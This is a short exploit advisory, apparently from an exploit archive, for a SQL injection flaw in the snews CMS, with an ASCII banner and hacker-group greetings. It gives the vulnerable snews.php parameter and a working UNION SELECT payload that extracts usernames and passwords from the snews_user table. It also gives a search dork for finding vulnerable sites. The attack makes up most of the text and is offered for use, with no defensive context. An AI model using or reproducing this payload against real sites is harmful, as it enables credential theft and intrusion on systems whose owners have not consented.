32 lines
No EOL
993 B
Text
32 lines
No EOL
993 B
Text
____ ____ ____ _______/ |________ ____ ____
|
|
/ _ \ / \_/ __ \ / ___/\ __\_ __ \_/ __ \_/ __ \
|
|
( <_> ) | \ ___/ \___ \ | | | | \/\ ___/\ ___/
|
|
\____/|___| /\___ >____ > |_ | |__| \___ >\___ >
|
|
\/ \/ \/ \/ \/
|
|
|
|
|
|
# Exploit Title : CMS snews SQL Injection Vulnerability
|
|
# Author : By onestree
|
|
# Software Link : http://snewscms.com/
|
|
# tested : ubuntu 12.10 / win 7
|
|
# Dork : inurl:"tanyakan pada rumput yang bergoyang"
|
|
|
|
|
|
*************************************************************
|
|
|
|
SQL poc:
|
|
|
|
http://localhost/snews/snews.php?act=shownews&id=[SQL]
|
|
|
|
Example:
|
|
|
|
http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
|
|
|
|
|
|
Thanks :
|
|
|
|
Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
|
|
|
|
indonesiancoder - moeslimh4x0r - go-coder
|
|
|
|
spesial my hunny :* |